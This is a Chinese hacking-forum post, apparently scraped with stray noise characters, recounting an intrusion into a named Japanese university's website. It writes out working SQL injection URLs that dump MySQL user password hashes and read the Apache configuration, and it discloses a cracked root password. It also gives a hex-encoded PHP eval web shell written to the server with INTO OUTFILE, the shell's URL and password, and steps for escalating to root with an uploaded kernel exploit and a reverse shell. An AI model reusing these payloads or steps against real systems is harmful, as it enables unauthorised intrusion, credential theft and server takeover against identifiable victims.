入侵日本同志社大学技术分析1 M# r* k6 X8 |0 [# d r' x6 }, I
) B2 m1 |' o" p& ?' G2 Q( ^http://www.doshisha.ac.jp/chs/news/index.php?i=-1
4 f; O; `7 W( a然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:) R5 w P) i! e6 P& E
6 w/ s1 _. S2 N* r, u O8 Q# G
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
6 n5 A. s, i0 w' i& D' D2 s" L4 F, L; E( v
. a* k5 I& n) \ ]& ^% O
: ~1 i; J. c! ?//@@datadir为数据库文件路径
1 [* W/ p" Y; }' n
H5 _1 Y) B& U6 P; g
; R4 X- e0 J# g: K0 k! K: X//load_file读取网站容器apache的配置文件 * v3 g. U) O1 J
" @0 ~5 d/ |- {
! i. f' m; L% y- v- s' V; S" Y//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 . V2 t5 L- e: f4 L2 q6 f) _' m ~
复制代码
4 X; I, | J* Q. d4 |3 B; q. i+ r6 `: z; p
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
' @% k+ d% x3 a6 s P5 g) M( i5 H7 ^7 Y" d1 l/ O
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。: V6 p& D( E ^5 b' n
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
1 [8 N# W* `) _& B" Q+ B1 h+ h q
: i3 j* \9 A- D5 \. R0 i1 G前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
" z7 ^4 h' G. s; e3 K; J3 Q如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
7 b \ T) p; h0 t {+ \8 K; }& o$ j- g1 J
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/" H' K9 b- I) W
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
6 b9 h- Q0 O t7 u" |: w1 e8 P直接写一句话:
1 X0 {& k$ e$ |% h+ H+ d. ?6 P! Y8 l% E7 N5 d+ |8 y
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#( k6 I" u* t. W5 e7 U
& N' V7 _% F8 U2 b. T5 ]
/ ~8 y+ F0 o$ { r* ?, R
( D/ ]3 O, E( r% P% l1 w. U//最后的#是为了闭合前面的语句 7 q6 P: _' t" ~% a
) p+ Y& ?3 t1 b* a4 Y: _3 k: j) D4 y" c& f
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
8 y- J( w3 k$ Z/ ~. u/ v& Q 7 J! H0 p; P* p. j0 x1 j
+ s& ]9 j: D \为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 0 n" |! N2 [: P" x4 s1 ?
6 p0 T, o& L9 n% ^0 l' j, K; V+ H) t9 C' U C: H g6 O
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 9 I5 H5 q( f9 G5 T! i7 V+ X/ i
9 r. i. ]( {# O
: S4 }- I4 V& m
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
) f$ |' q9 b8 F& W" B//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
, B; m7 M1 b5 L7 C复制代码' I7 C' o+ y" k3 i; r- V
, G7 l$ V7 R9 _5 @8 W# m
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有- _ z- o+ l4 g$ O& P: D
通过上述注入语句,我们就得到了一句话木马:: y$ B- W! O5 \& Z! N5 u" N+ P) I
8 t% C& i, z+ h+ F0 H' i/ Q; |, U2 O
8 \" |% l# j `7 k0 O d4 ~7 A
$ E7 k0 D6 }8 n: S% B
& m4 {/ x0 t/ _' |" f# V& L; t$ s7 u! ]5 I
http://www.doshisha.ac.jp/english/engnews_img/aa.php
( r5 `( C7 u) `0 H- |5 G4 Q复制代码
% G. ~6 E$ v' O; }3 L B! _4 `* g: V9 u% q9 ]
用菜刀连接,密码是cmd,如图所示:# W0 ?" s' @* d6 K; W: u8 i
然后在命令提示行里看了一下,现在的权限是:+ C, z, Y1 C: Z# L$ P- Y. ]
9 G' C) f0 A; f6 E. J之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。9 J* A0 w5 \/ X. Z
好在赋权给这个文件夹不需要root,直接执行赋权语句:! M4 H2 i# J; h6 L
5 c; j. O2 d; C3 s( D% o
- o. R9 ^4 i/ |1 H1 A6 t5 C
0 S& d7 U3 j! Q: ?1 b& _, K
' j- b8 D8 ?- l8 R% Z b1 k. \5 E- _7 q- ~ o1 ?
chmod +x /tmp/
; d+ j2 n/ m, B! W& a& K6 }- s复制代码
/ d8 l! U% s7 P6 d6 D7 ?" R/ Y
* D% Z3 n' L; A5 U在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
0 O9 N1 |* C& _' B然后就查了一下内核版本:! Q" s. L8 _0 G/ I, s& x" g3 d
$ j% L/ Z/ C0 F( t# D u1 q
' x9 I2 l$ h( ?1 N, F/ \
" D7 }# d6 l- \' G
- e) Y* E/ d. [- ^( f; z. U0 I' @
1 U+ x* L. R& C8 W6 |
uname-a
0 X6 Y( G8 K( Z% e X$ G
7 E& l/ w. ~" g8 n, U+ V6 O4 q. i( G4 o7 c: B; L8 L: y
//其实lsb_release -a
# l1 L: {; a2 w' O复制代码( E4 L8 W4 I2 K
4 T) O4 b2 c+ h
如图所示:
! I; I2 u% D- [; h1 l, K3 B. @, P
; t# b# I* l& B( c内核版本:linux mainz1 2.6.28-194.e156 Q5 I2 W0 |' s+ H
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)2 H4 A3 i1 f' y/ V0 w
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹5 Y c7 o1 ]7 [! D
! ?* T" t; O6 ]
然后给予执行权限& D$ ?3 q; Y9 B w0 n
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
1 r; F4 V. O6 F2 T" {# o8 q. _3 U9 K2 Y; ?4 P' C; @
8 O# J1 ]9 r) V4 Z! F. r7 \" b0 J, d. U5 a2 H
; t1 o3 p. v6 F( |" s* a, O$ M9 w, k6 R& B
chmod +x /tmp/2.6.18-194 . \ x, D T* A
复制代码 然后直接执行!~
% k8 O M; L$ D7 k8 J% y6 Q8 }
总结:
$ i$ d( f1 V( {. O' E( F; E8 s u- B这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了8 W( @! T" B; m2 A. N" |* G
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
0 N& Q9 @/ \1 U2 g! F
/ F5 {7 H9 r. S |